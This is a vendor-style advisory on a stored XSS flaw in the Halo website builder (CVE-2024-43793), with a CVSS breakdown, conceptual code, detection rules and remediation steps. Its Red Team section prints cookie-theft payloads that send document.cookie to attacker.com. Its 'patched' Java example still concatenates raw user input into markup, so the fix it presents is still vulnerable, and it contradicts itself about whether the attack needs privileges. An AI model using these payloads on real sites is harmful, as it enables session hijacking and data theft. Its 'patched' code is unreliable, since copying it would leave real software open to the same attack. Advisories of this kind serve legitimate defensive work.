CVE-2024-43793

Executive Summary

CVE-2024-43793 is a stored Cross-Site Scripting (XSS) vulnerability in Halo, an open-source website building tool. Versions prior to 2.19.0 are affected. An attacker can inject malicious HTML and JavaScript into the application, which will be executed in the browser of any user viewing the affected content. This can lead to session hijacking, data theft, or defacement. The vulnerability has a CVSS score of 6.3 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept or exploit code is available.

Supply Chain & Package Security

Halo is a Java-based application distributed via GitHub releases and Docker images. The vulnerability is not related to a specific package manager (NPM, PyPI, Go, Ruby). Users should ensure they are using the official Halo Docker image or JAR file from the GitHub releases page.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - No authentication is needed to trigger the vulnerability.
• User Interaction (UI): Required (R) - The victim must click on or view the malicious content.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): Low (L) - Limited information disclosure is possible.
• Integrity (I): Low (L) - Limited modification of data is possible.
• Availability (A): Low (L) - Limited impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the lack of public exploits and low EPSS score reduce immediate risk. However, the potential for session hijacking and data theft makes patching a priority.

Deep Dive & Mechanics

The vulnerability resides in how Halo handles user-supplied content, likely in post comments, page content, or user profile fields. The application fails to properly sanitize or encode HTML and JavaScript before rendering it in a user's browser.

Attack Flow:

1. An attacker with the ability to create or edit content (e.g., a registered user or via a vulnerable API endpoint) submits a payload containing malicious HTML/JavaScript.
2. The payload is stored in the Halo database without proper sanitization.
3. When an administrator or other user views the affected page, the malicious script executes in their browser context.
4. The script can steal session cookies, redirect the user, deface the page, or perform actions on behalf of the victim.

Root Cause: Insufficient output encoding or input validation in the template rendering engine or API endpoint responsible for displaying user-generated content.

Vulnerable vs. Patched Code

Since no specific code commit is available, the following is a representative example of the vulnerability and its fix.

Vulnerable Code (Conceptual - Java/Thymeleaf):

// Vulnerable: Directly rendering user input without escaping
public String renderContent(String userInput) {
    return "<div>" + userInput + "</div>";
}

Patched Code (Conceptual - Java/Thymeleaf):

// Patched: Using Thymeleaf's th:utext for unescaped output or th:text for escaped output
// For safe rendering, use th:text which escapes HTML
public String renderContent(String userInput) {
    // Use a template engine that auto-escapes by default
    // Example with Thymeleaf: <div th:text="${userInput}"></div>
    return "<div th:text=\"" + userInput + "\"></div>";
}

Key Difference: The patched version uses a template engine's auto-escaping feature (e.g., Thymeleaf's th:text) or a dedicated HTML sanitization library (e.g., OWASP Java HTML Sanitizer) to neutralize malicious code.

Exploitation & Lab Setup

Red Team

Objective: Demonstrate stored XSS by injecting a payload that steals session cookies.

Prerequisites:

• A vulnerable Halo instance (version < 2.19.0).
• An account with permission to create or edit content (e.g., a registered user).

Steps:

1. Log in to the Halo admin panel or frontend.
2. Navigate to a content creation page (e.g., new post, comment, or profile edit).
3. Inject the following payload into a text field (e.g., post body or comment):

   <script>
   fetch('https://attacker.com/steal?cookie=' + document.cookie);
   </script>
   

4. Save the content.
5. Send the link to the affected page to an administrator or other user.
6. When the victim views the page, the script executes and sends their cookies to the attacker's server.

Advanced Payload (Session Hijacking):

<img src=x onerror="this.src='https://attacker.com/steal?cookie='+document.cookie">

Blue Team

Objective: Detect and block XSS attempts targeting Halo.

Detection Steps:

1. Web Application Firewall (WAF): Deploy a WAF with rules to block common XSS patterns (e.g., <script>, onerror=, javascript:).
2. Input Validation: Implement strict server-side validation to reject or sanitize HTML tags in user input.
3. Content Security Policy (CSP): Add a CSP header to restrict script execution:

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

4. Log Monitoring: Monitor web server logs for requests containing suspicious patterns (e.g., %3Cscript%3E, onerror).

Hunting Query (Splunk):

index=web_logs sourcetype=access_combined
| search uri_query=*<script>* OR uri_query=*onerror* OR uri_query=*javascript:*
| table _time, clientip, uri, uri_query, status

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains containing cookie data (e.g., GET /steal?cookie=...).
  • Suspicious user-agent strings or referrer headers.
• Host IOCs:
  • Unexpected JavaScript files in the Halo webroot (e.g., /path/to/halo/static/js/malicious.js).
  • Modified database entries containing <script> tags.
• File IOCs:
  • Log entries showing repeated attempts to inject HTML/JavaScript.
  • Presence of known XSS payloads in application logs.

Detection Engineering

YARA Rule

rule CVE_2024_43793_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting CVE-2024-43793 in Halo"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-43793"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $xss4 = /javascript\s*:\s*/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-43793 XSS Attempt in Halo
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests containing XSS payloads targeting Halo CMS
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script>'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in content (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-43793 XSS Attempt in Halo"; flow:to_server,established; content:"<script>"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-43793 XSS Attempt via onerror"; flow:to_server,established; content:"onerror="; http_uri; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2024-43793 XSS Attempt via javascript"; flow:to_server,established; content:"javascript:"; http_uri; nocase; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Halo to version 2.19.0 or later immediately.
2. WAF Rules: Deploy WAF rules to block common XSS patterns.
3. CSP Header: Implement a strict Content Security Policy.

Long-Term Measures:

1. Input Validation: Implement server-side input validation to reject or sanitize HTML tags.
2. Output Encoding: Use a template engine that auto-escapes output (e.g., Thymeleaf's th:text).
3. Security Headers: Add X-XSS-Protection: 1; mode=block and X-Content-Type-Options: nosniff.
4. Regular Audits: Conduct code reviews and penetration testing for XSS vulnerabilities.

Workaround (if patching is not possible):

• Disable user-generated content features (e.g., comments, profile editing) until the patch can be applied.
• Use a reverse proxy with XSS filtering capabilities (e.g., ModSecurity).

Valters IT
Securing Digital Frontiers